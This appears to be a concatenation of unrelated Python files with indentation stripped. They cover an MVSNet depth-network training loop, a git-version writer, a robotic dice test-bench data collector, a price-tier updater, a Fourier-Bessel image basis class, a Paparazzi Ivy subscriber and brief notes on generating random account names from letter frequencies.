model = apex.parallel.convert_syncbn_model(model)
##### LOSS
loss_dict = {'mvsnet_loss':mvsnet_loss, 'mvsnet_cls_loss': mvsnet_cls_loss, 'unsup_loss': unsup_loss}
try:
model_loss = loss_dict[args.loss]
except KeyError:
raise ValueError('invalid loss func key')
##### OPTIMIZER
if args.optimizer == 'Adam':
print('optimizer: Adam \n')
optimizer = optim.Adam(model.parameters(), lr=args.lr, betas=(0.9, 0.999), weight_decay=0.01)
elif args.optimizer == 'RAdam':
print('optimizer: RAdam !!!! \n')
optimizer = RAdam(model.parameters(), lr=args.lr, betas=(0.9, 0.999), weight_decay=0.01)
# load parameters
start_epoch = 0
if args.loadckpt:
# load checkpoint file specified by args.loadckpt when eval
print("loading model {}".format(args.loadckpt))
state_dict = torch.load(args.loadckpt)
model.load_state_dict(state_dict['model'], strict=False)
if args.using_apex:
# Initialize Amp
model, optimizer = amp.initialize(model, optimizer,
opt_level="O0",
keep_batchnorm_fp32=None,
loss_scale=None
)
#conver model to dist
if is_distributed:
print("Dist Train, Let's use", torch.cuda.device_count(), "GPUs!")
model = torch.nn.parallel.DistributedDataParallel(
model, device_ids=[args.local_rank], output_device=args.local_rank, find_unused_parameters=True
)
else:
if torch.cuda.is_available():
print("Let's use", torch.cuda.device_count(), "GPUs!")
model = nn.DataParallel(model)
# dataset, dataloader
# args.origin_size only load origin size depth, not modify Camera.txt
MVSDataset = find_dataset_def(args.dataset)
train_dataset = MVSDataset(args.trainpath, args.trainlist, "train", args.view_num, args.numdepth, args.interval_scale, args.inverse_depth, -1, args.image_scale, have_depth=(args.loss != 'unsup_loss')) # Training with False, Test with inverse_depth
val_dataset = MVSDataset(args.trainpath, args.vallist, "val", 5, args.numdepth, args.interval_scale, args.inverse_depth, 3, args.image_scale, reverse=False, both=False) #view_num = 5, light_idx = 3
test_dataset = MVSDataset(args.testpath, args.testlist, "test", 5, args.numdepth, 1.06, args.inverse_depth, 3, args.image_scale, reverse=False, both=False)
reverse_test_dataset = MVSDataset(args.testpath, args.testlist, "test", 5, args.numdepth, 1.06, args.inverse_depth, 3, args.image_scale, reverse=True, both=False)
if is_distributed:
train_sampler = torch.utils.data.DistributedSampler(train_dataset, num_replicas=dist.get_world_size(),
rank=dist.get_rank())
test_sampler = torch.utils.data.DistributedSampler(test_dataset, num_replicas=dist.get_world_size(),
rank=dist.get_rank())
TrainImgLoader = DataLoader(train_dataset, args.batch_size, sampler=train_sampler, num_workers=8,
drop_last=True,
pin_memory=True)
TestImgLoader = DataLoader(test_dataset, args.batch_size, sampler=test_sampler, num_workers=4, drop_last=False,
pin_memory=True)
ResTestImgLoader = DataLoader(reverse_test_dataset, args.batch_size, sampler=test_sampler, num_workers=4, drop_last=False,
pin_memory=True)
else:
TrainImgLoader = DataLoader(train_dataset, args.batch_size, shuffle=True, num_workers=12, drop_last=True)
ValImgLoader = DataLoader(val_dataset, args.batch_size, shuffle=False, num_workers=4, drop_last=False)
TestImgLoader = DataLoader(test_dataset, args.batch_size, shuffle=False, num_workers=4, drop_last=False)
ResTestImgLoader = DataLoader(reverse_test_dataset, args.batch_size, shuffle=False, num_workers=4, drop_last=False)
# main function
def train():
print('run train()')
if args.lr_scheduler == 'multistep':
print('lr scheduler: multistep')
milestones = [int(epoch_idx) for epoch_idx in args.lrepochs.split(':')[0].split(',')]
lr_gamma = 1 / float(args.lrepochs.split(':')[1])
lr_scheduler = torch.optim.lr_scheduler.MultiStepLR(optimizer, milestones, gamma=lr_gamma,
last_epoch=start_epoch - 1)
## get intermediate learning rate
for _ in range(start_epoch):
lr_scheduler.step()
elif args.lr_scheduler == 'cosinedecay':
lr_scheduler = torch.optim.lr_scheduler.CosineAnnealingLR(optimizer, T_max=args.epochs, eta_min=4e-05)
## get intermediate learning rate
for _ in range(start_epoch):
lr_scheduler.step()
elif args.lr_scheduler == 'warmupmultisteplr':
milestones = [len(TrainImgLoader) * int(epoch_idx) for epoch_idx in args.lrepochs.split(':')[0].split(',')]
lr_gamma = 1 / float(args.lrepochs.split(':')[1])
lr_scheduler = WarmupMultiStepLR(optimizer, milestones, gamma=lr_gamma, warmup_factor=1.0/3, warmup_iters=500,
last_epoch=len(TrainImgLoader) * start_epoch - 1)
for epoch_idx in range(start_epoch, args.epochs):
print('Epoch {}/{}:'.format(epoch_idx, args.epochs))
lr_scheduler.step()
global_step = len(TrainImgLoader) * epoch_idx
print('Start Training')
# training
for batch_idx, sample in enumerate(TrainImgLoader):
start_time = time.time()
global_step = len(TrainImgLoader) * epoch_idx + batch_idx
do_summary = global_step % 20 == 0
loss, scalar_outputs, image_outputs = train_sample(sample, detailed_summary=do_summary)
for param_group in optimizer.param_groups:
lr = param_group['lr']
if (not is_distributed) or (dist.get_rank() == 0):
if do_summary:
save_scalars(logger, 'train', scalar_outputs, global_step)
logger.add_scalar('train/lr', lr, global_step)
save_images(logger, 'train', image_outputs, global_step)
del scalar_outputs, image_outputs
print(
'Epoch {}/{}, Iter {}/{}, LR {}, train loss = {:.3f}, time = {:.3f}'.format(epoch_idx, args.epochs, batch_idx,
len(TrainImgLoader), lr, loss,
time.time() - start_time))
# checkpoint
if (not is_distributed) or (dist.get_rank() == 0):
if (epoch_idx + 1) % 1 == 0:
torch.save({
'epoch': epoch_idx,
'model': model.module.state_dict(),
'optimizer': optimizer.state_dict()},
"{}/model_{:0>6}.ckpt".format(args.save_dir, epoch_idx),
_use_new_zipfile_serialization=False)
gc.collect()
# on test dataset
avg_test_scalars = DictAverageMeter()
for batch_idx, sample in enumerate(TestImgLoader):
start_time = time.time()
global_step = len(TestImgLoader) * epoch_idx + batch_idx
do_summary = global_step % 20 == 0
loss, scalar_outputs, image_outputs = test_sample(sample, detailed_summary=do_summary)
if loss == 0:
print('Loss is zero, no valid point')
continue
if (not is_distributed) or (dist.get_rank() == 0):
if do_summary:
save_scalars(logger, 'test', scalar_outputs, global_step)
save_images(logger, 'test', image_outputs, global_step)
print('Epoch {}/{}, Iter {}/{}, test loss = {:.3f}, time = {:3f}'.format(
epoch_idx, args.epochs, batch_idx,
len(TestImgLoader), loss,
time.time() - start_time))
avg_test_scalars.update(scalar_outputs)
del scalar_outputs, image_outputs
if (not is_distributed) or (dist.get_rank() == 0):
save_scalars(logger, 'fulltest', avg_test_scalars.mean(), global_step)
print("avg_test_scalars:", avg_test_scalars.mean())
gc.collect()
avg_test_scalars = DictAverageMeter()
for batch_idx, sample in enumerate(ResTestImgLoader):
start_time = time.time()
global_step = len(ResTestImgLoader) * epoch_idx + batch_idx
do_summary = global_step % 20 == 0
loss, scalar_outputs, image_outputs = test_sample(sample, detailed_summary=do_summary)
if loss == 0:
print('Loss is zero, no valid point')
continue
if (not is_distributed) or (dist.get_rank() == 0):
if do_summary:
save_scalars(logger, 'test_reverser', scalar_outputs, global_step)
save_images(logger, 'test_reverse', image_outputs, global_step)
print('Epoch {}/{}, Iter {}/{}, reverse test loss = {:.3f}, time = {:3f}'.format(
epoch_idx, args.epochs, batch_idx,
len(ResTestImgLoader), loss,
time.time() - start_time))
avg_test_scalars.update(scalar_outputs)
del scalar_outputs, image_outputs
if (not is_distributed) or (dist.get_rank() == 0):
save_scalars(logger, 'fulltest_reverse', avg_test_scalars.mean(), global_step)
print("avg_test_scalars_reverse:", avg_test_scalars.mean())
gc.collect()
def forward_hook(module, input, output):
print(module)
print('input', input)
print('output', output)
def val():
global save_dir
print('Phase: test \n')
avg_test_scalars = DictAverageMeter()
if args.mode == 'test':
ImgLoader = TestImgLoader
elif args.mode == 'val':
ImgLoader = ValImgLoader
avg_test_scalars = DictAverageMeter()
for batch_idx, sample in enumerate(ImgLoader):
start_time = time.time()
loss, scalar_outputs, image_outputs = test_sample(sample, detailed_summary=True)
if loss == 0:
print('Loss is zero, no valid point')
continue
avg_test_scalars.update(scalar_outputs)
if (not is_distributed) or (dist.get_rank() == 0):
print('Iter {}/{}, val loss = {:.3f}, time = {:3f}'.format(batch_idx, len(ImgLoader), loss,
time.time() - start_time))
del scalar_outputs, image_outputs
if batch_idx % 100 == 0:
print("Iter {}/{}, val results = {}".format(batch_idx, len(ImgLoader), avg_test_scalars.mean()))
if (not is_distributed) or (dist.get_rank() == 0):
print("avg_{}_scalars:".format(args.mode), avg_test_scalars.mean())
def train_sample(sample, detailed_summary=False, refine=False):
model.train()
optimizer.zero_grad()
sample_cuda = tocuda(sample)
mask = sample_cuda["mask"]
depth_interval = sample_cuda["depth_interval"]
depth_value = sample_cuda["depth_values"]
outputs = model(sample_cuda["imgs"], sample_cuda["proj_matrices"], sample_cuda["depth_values"])
if args.loss == 'unsup_loss':
depth_est = outputs["depth"]
semantic_mask = outputs["semantic_mask"]
loss = model_loss(sample_cuda["imgs"], sample_cuda["proj_matrices"], depth_est, semantic_mask)
else:
depth_gt = sample_cuda["depth"]
depth_est = outputs["depth"]
semantic_mask = outputs["semantic_mask"]
loss = model_loss(sample_cuda["imgs"], depth_est, depth_gt, mask, semantic_mask)
if is_distributed and args.using_apex:
with amp.scale_loss(loss, optimizer) as scaled_loss:
scaled_loss.backward()
else:
loss.backward()
# gradient clip
#torch.nn.utils.clip_grad_norm(model.parameters(), 2.0)
optimizer.step()
scalar_outputs = {"loss": loss}
image_outputs = {"depth_est": depth_est * mask,
"ref_img": sample["imgs"][:, 0],
}
if is_distributed:
scalar_outputs = reduce_scalar_outputs(scalar_outputs)
return tensor2float(scalar_outputs["loss"]), tensor2float(scalar_outputs), image_outputs
@make_nograd_func
def test_sample(sample, detailed_summary=True, refine=False):
model.eval()
sample_cuda = tocuda(sample)
mask = sample_cuda["mask"]
depth_interval = sample_cuda["depth_interval"]
depth_value = sample_cuda["depth_values"]
outputs = model(sample_cuda["imgs"], sample_cuda["proj_matrices"], sample_cuda["depth_values"])
#print(depth_value.type(), depth_interval.type(), depth_gt.type())
if args.loss == 'unsup_loss':
depth_est = outputs["depth"]
semantic_mask = outputs["semantic_mask"]
photometric_confidence = outputs['photometric_confidence']
loss = model_loss(sample_cuda["imgs"], sample_cuda["proj_matrices"], depth_est, semantic_mask)
else:
depth_gt = sample_cuda["depth"]
depth_est = outputs["depth"]
photometric_confidence = outputs['photometric_confidence']
semantic_mask = outputs["semantic_mask"]
loss = model_loss(sample_cuda["imgs"], depth_est, depth_gt, mask, semantic_mask)
scalar_outputs = {"loss": loss}
image_outputs = {"depth_est": depth_est * mask,
"photometric_confidence": photometric_confidence * mask,
"ref_img": sample["imgs"][:, 0]}
if is_distributed:
scalar_outputs = reduce_scalar_outputs(scalar_outputs)
return tensor2float(scalar_outputs["loss"]), tensor2float(scalar_outputs), tensor2numpy(image_outputs)
if __name__ == '__main__':
if args.mode == "train":
train()
elif args.mode == "test" or args.mode == "val":
val()
| python |
import os
from subprocess import PIPE, run
import time
thisdir = os.path.dirname(__file__)
version_c = os.path.join(thisdir, 'Src', 'versions.c')
git = run(['git', 'describe', '--dirty', '--always', '--tags'], check=True, stdout=PIPE)
revision = git.stdout.decode('ascii').strip()
with open(version_c, 'w') as f:
f.write('/* Note: Don\'t build this file with -flto, otherwise the names of\n')
f.write(' * these variables will not be present in the map file and will be\n')
f.write(' * optimized out. */\n\n')
f.write('const char GIT_REVISION[] __attribute__((section(".revision"))) = "{}";\n'.format(revision))
f.write('const char BUILD_DATE[] __attribute__((section(".revision"))) = "{}";\n'.format(time.strftime("%c")))
| python |
import datetime
import pickle as pkl
import time
import cv2
import numpy as np
import save_dice_traj
import serial
from testbench_control import TestBench
# from notify_run import Notify
side_camera_index = 2
tb_camera_index = 0
tb = TestBench('/dev/ttyACM0', tb_camera_index, side_camera_index)
resetter = serial.Serial('/dev/ttyUSB0', baudrate=9600, timeout=1)
# notify = Notify()
# notify.register()
while not tb.ready():
time.sleep(0.1)
tb.update()
tb.flip_x_reset()
time.sleep(0.5)
tb.start()
while tb.busy():
tb.update()
ZERO_POS = [5200, 5300, 0]
max_force = 15
min_force = 6.5
small_w = 64
small_h = 48
ctimestr = datetime.datetime.now().strftime("%Y-%m-%d:%H:%M:%S")
maxX, maxY, maxZ = 5800, 6100, 1050
minX, minY, minZ = 4000, 4300, 0
print(tb.req_data())
def reset_dice():
resetter.write(b'50\n')
def loosen_dice():
resetter.write(b'2000\n')
def random_actions(state):
act = [np.random.random_integers(-150, 150), np.random.random_integers(-150, 150),
np.random.random_integers(-10, 10)]
return act
def get_randomoffset():
return [np.random.random_integers(-10, 10), np.random.random_integers(-10, 10), np.random.random_integers(0, 0)]
def run_traj(num_steps, policy):
reset_dice()
time.sleep(1)
loosen_dice()
confirm = ''
for i in range(resetter.inWaiting()):
ch = resetter.read().decode()
confirm += ch
print(confirm)
# if confirm == '':
# notify.send('something happened.. check robot!!')
num_corr = 0
images = []
full_images = []
side_images = []
states = []
pos = ZERO_POS[:]
offset = get_randomoffset()
pos[0] += offset[0]
pos[1] += offset[1]
pos[2] += offset[2]
OFFSET_HOME_POS = pos[:]
tb.target_pos(*pos)
while tb.busy(): tb.update()
frame, data = tb.get_frame(), tb.req_data()
time.sleep(0.05)
full_images.append(frame)
side_frame = tb.get_side_cam_frame()
side_images.append(side_frame)
images.append(cv2.resize(frame, (small_w, small_h)))
data['x_act'] = 0
data['y_act'] = 0
data['z_act'] = 0
states.append(data)
tb.press_z(600, 7)
while tb.busy():
tb.update()
pos[2] = tb.req_data()['z']
print('z pos' + str(pos[2]))
while tb.busy():
tb.update()
def normalize_pos(pos):
pos[0] = min(maxX, max(minX, pos[0]))
pos[1] = min(maxY, max(minY, pos[1]))
pos[2] = min(maxZ, max(minZ, pos[2]))
def millis():
return int(round(time.time() * 1000))
act = None
slip = False
corr_next = False
action_repeat_count = 0
action_repeat = 3
for n in range(num_steps):
if not action_repeat_count:
# If action repeat is over, grab next move to take
# if action_queue:
# act = action_queue.pop(0)
# Actions popped off the queue are not repeated. If repeating
# is desired, add the action multiple times.
# else:
act = policy(pos)
action_repeat_count = action_repeat - 1
else:
action_repeat_count -= 1
pos = [pos[i] + act[i] for i in range(3)]
if corr_next:
pos[2] -= 15
normalize_pos(pos)
tb.target_pos(*pos)
bt = millis()
while tb.busy():
tb.update()
print(millis() - bt)
data = tb.req_data()
frame = tb.get_frame()
side_frame = tb.get_side_cam_frame()
data['x_act'] = act[0]
data['y_act'] = act[1]
data['z_act'] = act[2]
print(data)
forces = [data['force_1'], data['force_2'], data['force_3'], data['force_4']]
avg = sum(forces) / 4
if avg > max_force:
print('force limit crossed')
corr_next = True
num_corr += 1
else:
corr_next = False
if (max(forces) < min_force):
print("Slip detected")
slip = True
data['slip'] = slip
full_images.append(frame)
side_images.append(side_frame)
images.append(cv2.resize(frame, (small_w, small_h)))
states.append(data)
n += 1
tb.reset_z()
while tb.busy():
tb.update()
# for i in range(0, len(images), 5):
# plt.imshow(images[i])
# plt.show()
# final_image = images[-1]
print("Corrections: " + str(num_corr))
return {'images': np.array(images), 'states': np.array(states), 'full_images': np.array(full_images),
'side_images': side_images}
ctimestr = datetime.datetime.now().strftime("%Y-%m-%d:%H:%M:%S")
with open('dice_stats.pkl', 'rb') as f:
stats = pkl.load(f)
mean, std = stats['mean'], stats['std']
for i in range(5000):
if not i % 100:
reset_dice()
tb.reset()
while tb.busy():
tb.update()
traj = run_traj(18, random_actions)
save_dice_traj.save_tf_record('traj_data/' + ctimestr + '/traj' + str(i) + '/', 'traj' + str(i), traj, mean, std)
# Save videos
# save_dice_traj.save_dd_record('traj_data/' + ctimestr + '/traj'+str(i) + '/', 'traj' + str(i), traj)
tb.reset()
while tb.busy():
tb.update()
| python |
import csv
from decimal import Decimal
from mkt.prices.models import Price, PriceCurrency
def update(tiers):
"""
Updates the prices and price currency objects based on the tiers.
Tiers should be a list containing a dictionary of currency / value pairs.
The value of US is required so that we can look up the price tier. If the
price tier for US isn't found, we skip whole tier. If the currency isn't
found but the tier is, we create the currency.
This is intended to be called via a migration or other command.
"""
output = []
for row in tiers:
us = row.get('USD')
if not us:
output.append('No USD in row, skipped')
continue
try:
tier = Price.objects.get(price=Decimal(us))
except Price.DoesNotExist:
output.append('Tier not found, skipping: %s' % us)
continue
for currency, value in row.iteritems():
if currency == 'USD':
continue
try:
curr = PriceCurrency.objects.get(tier=tier, currency=currency)
except PriceCurrency.DoesNotExist:
curr = PriceCurrency(tier=tier, currency=currency)
curr.price = Decimal(value)
curr.save()
output.append('Currency updated: %s, %s, tier %s' %
(currency, value, us))
return output
def update_from_csv(handle):
reader = csv.reader(handle, delimiter='\t')
headers = []
output = []
for row in reader:
if not headers:
headers = row
continue
output.append(dict(zip(headers, row)))
return update(output)
| python |
#!/usr/bin/python
import unittest
import sys
import autocertkit.utils
class DevTestCase(unittest.TestCase):
"""Subclass unittest for extended setup/tear down
functionality"""
session = "nonexistent"
config = {}
@classmethod
def setUpClass(cls):
# Read user config from file
pass
@classmethod
def tearDownClass(cls):
# Destroy the session
pass
| python |
import logging
import numpy as np
from scipy.special import jv
from aspire.basis import FBBasisMixin, SteerableBasis2D
from aspire.basis.basis_utils import unique_coords_nd
from aspire.image import Image
from aspire.utils import complex_type, real_type, roll_dim, unroll_dim
from aspire.utils.matlab_compat import m_flatten, m_reshape
logger = logging.getLogger(__name__)
class FBBasis2D(SteerableBasis2D, FBBasisMixin):
"""
Define a derived class using the Fourier-Bessel basis for mapping 2D images
The expansion coefficients of 2D images on this basis are obtained by
the least squares method. The algorithm is described in the publication:
Z. Zhao, A. Singer, Fourier-Bessel Rotational Invariant Eigenimages,
The Journal of the Optical Society of America A, 30 (5), pp. 871-877 (2013).
"""
# TODO: Methods that return dictionaries should return useful objects instead
def __init__(self, size, ell_max=None, dtype=np.float32):
"""
Initialize an object for the 2D Fourier-Bessel basis class
:param size: The size of the vectors for which to define the basis.
May be a 2-tuple or an integer, in which case a square basis is assumed.
Currently only square images are supported.
:ell_max: The maximum order ell of the basis elements. If no input
(= None), it will be set to np.Inf and the basis includes all
ell such that the resulting basis vectors are concentrated
below the Nyquist frequency (default Inf).
"""
if isinstance(size, int):
size = (size, size)
ndim = len(size)
assert ndim == 2, "Only two-dimensional basis functions are supported."
assert len(set(size)) == 1, "Only square domains are supported."
super().__init__(size, ell_max, dtype=dtype)
def _build(self):
"""
Build the internal data structure to 2D Fourier-Bessel basis
"""
logger.info(
"Expanding 2D images in a spatial-domain Fourier–Bessel"
" basis using the direct method."
)
# get upper bound of zeros, ells, and ks of Bessel functions
self._calc_k_max()
# calculate total number of basis functions
self.count = self.k_max[0] + sum(2 * self.k_max[1:])
# obtain a 2D grid to represent basis functions
self.basis_coords = unique_coords_nd(self.nres, self.ndim, dtype=self.dtype)
# generate 1D indices for basis functions
self._compute_indices()
self._indices = self.indices()
# get normalized factors
self.radial_norms, self.angular_norms = self.norms()
# precompute the basis functions in 2D grids
self._precomp = self._precomp()
def _compute_indices(self):
"""
Create the indices for each basis function
"""
indices_ells = np.zeros(self.count, dtype=int)
indices_ks = np.zeros(self.count, dtype=int)
indices_sgns = np.zeros(self.count, dtype=int)
# We'll also generate a mapping for complex construction
self.complex_count = sum(self.k_max)
# These map indices in complex array to pair of indices in real array
self._pos = np.zeros(self.complex_count, dtype=int)
self._neg = np.zeros(self.complex_count, dtype=int)
i = 0
ci = 0
for ell in range(self.ell_max + 1):
sgns = (1,) if ell == 0 else (1, -1)
ks = np.arange(0, self.k_max[ell])
for sgn in sgns:
rng = np.arange(i, i + len(ks))
indices_ells[rng] = ell
indices_ks[rng] = ks
indices_sgns[rng] = sgn
if sgn == 1:
self._pos[ci + ks] = rng
elif sgn == -1:
self._neg[ci + ks] = rng
i += len(ks)
ci += len(ks)
self.angular_indices = indices_ells
self.radial_indices = indices_ks
self.signs_indices = indices_sgns
# Relating to paper: a[i] = a_ell_ks = a_angularindices[i]_radialindices[i]
self.complex_angular_indices = indices_ells[self._pos] # k
self.complex_radial_indices = indices_ks[self._pos] # q
def indices(self):
"""
Return the precomputed indices for each basis function.
"""
return {
"ells": self.angular_indices,
"ks": self.radial_indices,
"sgns": self.signs_indices,
}
def _precomp(self):
"""
Precompute the basis functions at defined sample points
"""
r_unique = self.basis_coords["r_unique"]
ang_unique = self.basis_coords["ang_unique"]
ind_radial = 0
ind_ang = 0
radial = np.zeros(shape=(len(r_unique), np.sum(self.k_max)), dtype=self.dtype)
ang = np.zeros(
shape=(ang_unique.shape[-1], 2 * self.ell_max + 1), dtype=self.dtype
)
for ell in range(0, self.ell_max + 1):
for k in range(1, self.k_max[ell] + 1):
# Only normalized by the radial part of basis function
radial[:, ind_radial] = (
jv(ell, self.r0[k - 1, ell] * r_unique)
/ self.radial_norms[ind_radial]
)
ind_radial += 1
sgns = (1,) if ell == 0 else (1, -1)
for sgn in sgns:
fn = np.cos if sgn == 1 else np.sin
ang[:, ind_ang] = fn(ell * ang_unique)
ind_ang += 1
return {"radial": radial, "ang": ang}
def norms(self):
"""
Calculate the normalized factors of basis functions
"""
radial_norms = np.zeros(np.sum(self.k_max), dtype=self.dtype)
angular_norms = np.zeros(np.sum(self.k_max), dtype=self.dtype)
norm_fn = self.basis_norm_2d
i = 0
for ell in range(0, self.ell_max + 1):
for k in range(1, self.k_max[ell] + 1):
radial_norms[i], angular_norms[i] = norm_fn(ell, k)
i += 1
return radial_norms, angular_norms
def basis_norm_2d(self, ell, k):
"""
Calculate the normalized factors from radial and angular parts of a specified basis function
"""
rad_norm = (
np.abs(jv(ell + 1, self.r0[k - 1, ell]))
* np.sqrt(1 / 2.0)
* self.nres
/ 2.0
)
ang_norm = np.sqrt(np.pi)
if ell == 0:
ang_norm *= np.sqrt(2)
return rad_norm, ang_norm
def evaluate(self, v):
"""
Evaluate coefficients in standard 2D coordinate basis from those in FB basis
:param v: A coefficient vector (or an array of coefficient vectors) to
be evaluated. The last dimension must equal `self.count`.
:return: The evaluation of the coefficient vector(s) `v` for this basis.
This is an array whose last dimensions equal `self.sz` and the remaining
dimensions correspond to first dimensions of `v`.
"""
if v.dtype != self.dtype:
logger.warning(
f"{self.__class__.__name__}::evaluate"
f" Inconsistent dtypes v: {v.dtype} self: {self.dtype}"
)
# Transpose here once, instead of several times below #RCOPT
v = v.reshape(-1, self.count).T
r_idx = self.basis_coords["r_idx"]
ang_idx = self.basis_coords["ang_idx"]
mask = m_flatten(self.basis_coords["mask"])
ind = 0
ind_radial = 0
ind_ang = 0
x = np.zeros(shape=tuple([np.prod(self.sz)] + list(v.shape[1:])), dtype=v.dtype)
for ell in range(0, self.ell_max + 1):
k_max = self.k_max[ell]
idx_radial = ind_radial + np.arange(0, k_max, dtype=int)
# include the normalization factor of angular part
ang_nrms = self.angular_norms[idx_radial]
radial = self._precomp["radial"][:, idx_radial]
radial = radial / ang_nrms
sgns = (1,) if ell == 0 else (1, -1)
for _ in sgns:
ang = self._precomp["ang"][:, ind_ang]
ang_radial = np.expand_dims(ang[ang_idx], axis=1) * radial[r_idx]
idx = ind + np.arange(0, k_max, dtype=int)
x[mask] += ang_radial @ v[idx]
ind += len(idx)
ind_ang += 1
ind_radial += len(idx_radial)
x = x.T.reshape(-1, *self.sz) # RCOPT
return x
def evaluate_t(self, v):
"""
Evaluate coefficient in FB basis from those in standard 2D coordinate basis
:param v: The coefficient array to be evaluated. The last dimensions
must equal `self.sz`.
:return: The evaluation of the coefficient array `v` in the dual basis
of `basis`. This is an array of vectors whose last dimension equals
`self.count` and whose first dimensions correspond to
first dimensions of `v`.
"""
if v.dtype != self.dtype:
logger.warning(
f"{self.__class__.__name__}::evaluate_t"
f" Inconsistent dtypes v: {v.dtype} self: {self.dtype}"
)
if isinstance(v, Image):
v = v.asnumpy()
v = v.T # RCOPT
x, sz_roll = unroll_dim(v, self.ndim + 1)
x = m_reshape(
x, new_shape=tuple([np.prod(self.sz)] + list(x.shape[self.ndim :]))
)
r_idx = self.basis_coords["r_idx"]
ang_idx = self.basis_coords["ang_idx"]
mask = m_flatten(self.basis_coords["mask"])
ind = 0
ind_radial = 0
ind_ang = 0
v = np.zeros(shape=tuple([self.count] + list(x.shape[1:])), dtype=v.dtype)
for ell in range(0, self.ell_max + 1):
k_max = self.k_max[ell]
idx_radial = ind_radial + np.arange(0, k_max)
# include the normalization factor of angular part
ang_nrms = self.angular_norms[idx_radial]
radial = self._precomp["radial"][:, idx_radial]
radial = radial / ang_nrms
sgns = (1,) if ell == 0 else (1, -1)
for _ in sgns:
ang = self._precomp["ang"][:, ind_ang]
ang_radial = np.expand_dims(ang[ang_idx], axis=1) * radial[r_idx]
idx = ind + np.arange(0, k_max)
v[idx] = ang_radial.T @ x[mask]
ind += len(idx)
ind_ang += 1
ind_radial += len(idx_radial)
v = roll_dim(v, sz_roll)
return v.T # RCOPT
def to_complex(self, coef):
"""
Return complex valued representation of coefficients.
This can be useful when comparing or implementing methods
from literature.
There is a corresponding method, to_real.
:param coef: Coefficients from this basis.
:return: Complex coefficent representation from this basis.
"""
if coef.ndim == 1:
coef = coef.reshape(1, -1)
if coef.dtype not in (np.float64, np.float32):
raise TypeError("coef provided to to_complex should be real.")
# Pass through dtype precions, but check and warn if mismatched.
dtype = complex_type(coef.dtype)
if coef.dtype != self.dtype:
logger.warning(
f"coef dtype {coef.dtype} does not match precision of basis.dtype {self.dtype}, returning {dtype}."
)
# Return the same precision as coef
imaginary = dtype(1j)
ccoef = np.zeros((coef.shape[0], self.complex_count), dtype=dtype)
ind = 0
idx = np.arange(self.k_max[0], dtype=int)
ind += np.size(idx)
ccoef[:, idx] = coef[:, idx]
for ell in range(1, self.ell_max + 1):
idx = ind + np.arange(self.k_max[ell], dtype=int)
ccoef[:, idx] = (
coef[:, self._pos[idx]] - imaginary * coef[:, self._neg[idx]]
) / 2.0
ind += np.size(idx)
return ccoef
def to_real(self, complex_coef):
"""
Return real valued representation of complex coefficients.
This can be useful when comparing or implementing methods
from literature.
There is a corresponding method, to_complex.
:param complex_coef: Complex coefficients from this basis.
:return: Real coefficent representation from this basis.
"""
if complex_coef.ndim == 1:
complex_coef = complex_coef.reshape(1, -1)
if complex_coef.dtype not in (np.complex128, np.complex64):
raise TypeError("coef provided to to_real should be complex.")
# Pass through dtype precions, but check and warn if mismatched.
dtype = real_type(complex_coef.dtype)
if dtype != self.dtype:
logger.warning(
f"Complex coef dtype {complex_coef.dtype} does not match precision of basis.dtype {self.dtype}, returning {dtype}."
)
coef = np.zeros((complex_coef.shape[0], self.count), dtype=dtype)
ind = 0
idx = np.arange(self.k_max[0], dtype=int)
ind += np.size(idx)
ind_pos = ind
coef[:, idx] = complex_coef[:, idx].real
for ell in range(1, self.ell_max + 1):
idx = ind + np.arange(self.k_max[ell], dtype=int)
idx_pos = ind_pos + np.arange(self.k_max[ell], dtype=int)
idx_neg = idx_pos + self.k_max[ell]
c = complex_coef[:, idx]
coef[:, idx_pos] = 2.0 * np.real(c)
coef[:, idx_neg] = -2.0 * np.imag(c)
ind += np.size(idx)
ind_pos += 2 * self.k_max[ell]
return coef
def calculate_bispectrum(
self, coef, flatten=False, filter_nonzero_freqs=False, freq_cutoff=None
):
"""
Calculate bispectrum for a set of coefs in this basis.
The Bispectum matrix is of shape:
(count, count, unique_radial_indices)
where count is the number of complex coefficients.
:param coef: Coefficients representing a (single) image expanded in this basis.
:param flatten: Optionally extract symmetric values (tril) and then flatten.
:param freq_cutoff: Truncate (zero) high k frequecies above (int) value, defaults off (None).
:return: Bispectum matrix (complex valued).
"""
# Bispectrum implementation expects the complex representation of coefficients.
complex_coef = self.to_complex(coef)
return super().calculate_bispectrum(
complex_coef,
flatten=flatten,
filter_nonzero_freqs=filter_nonzero_freqs,
freq_cutoff=freq_cutoff,
)
def rotate(self, coef, radians, refl=None):
"""
Returns coefs rotated by `radians`.
:param coef: Basis coefs.
:param radians: Rotation in radians.
:param refl: Optional reflect image (bool)
:return: rotated coefs.
"""
# Base class rotation expects complex representation of coefficients.
# Convert, rotate and convert back to real representation.
return self.to_real(super().rotate(self.to_complex(coef), radians, refl))
| python |
#! /usr/bin/python3
import os
import sys
import argparse
import time
import signal
from ivy.std_api import *
import logging
PPRZ_HOME = os.getenv("PAPARAZZI_HOME", os.path.normpath(os.path.join(os.path.dirname(os.path.abspath(__file__)), '../../../')))
sys.path.append(PPRZ_HOME + "/var/lib/python")
from pprzlink.ivy import IvyMessagesInterface
from pprzlink.message import PprzMessage
from pprzlink import messages_xml_map
try:
msgs = messages_xml_map.get_msgs('test')
except Exception as e:
print(e)
dico = messages_xml_map.message_dictionary
for msg_type in dico.keys():
for msg in dico[msg_type]:
print(msg_type, ":", msg)
ac_id = 24
ivyInterface = IvyMessagesInterface()
time.sleep(0.5)
world = None
uavid = None
def callback01(ac_id, msg, request_id):
print(request_id, msg)
def callback02(ac_id, msg):
print(msg)
ivyInterface.subscribe(callback01, '(.* WORLD_ENV_REQ .*)')
ivyInterface.subscribe(callback02, '(.* GPS .*)')
signal.signal(signal.SIGINT, lambda frame, sig: ivyInterface.stop())
| python |
# Program to generate random account names
# Start simple. Just considering distribution of consonants and
# vowels first. And then look into including the other arrays.
# Compare which will give better results. Just distribution of letters?
# Or taking into account other rules and distribution of other morphemes :)
consonants = [b, c, d, ...]
vowels = [a, e, i, o, u ]
consosnant_digraphs = [ ch, sh, ...]
vowel_digraphs = [ay, ...]
vowel_diphtongs = [ae, ...]
common_last_name_endings = [ ]
common_word_endings = [ ]
common_prefixes = [ ]
common_separators = [ none, '-', '_', '.' ... ]
digits = [0, 1, 2, ... ]
Probably should collapse these to 2-3 arrays and look at the probability/
distribution of vowels and consonants and just put a small probability
for numbers at beginning and end ...
To find:
distribution of word length in english language
distribution/probability of occurence for every consonant/vowel...
distribution of every letter
distribution of first letter
probability of two consonants appearing one next to the other
combinations of consonants that can be found together (for
example, following s, following n, ...
probablity of occurence for last name endings and word endings...
rules about vowels at the end of words
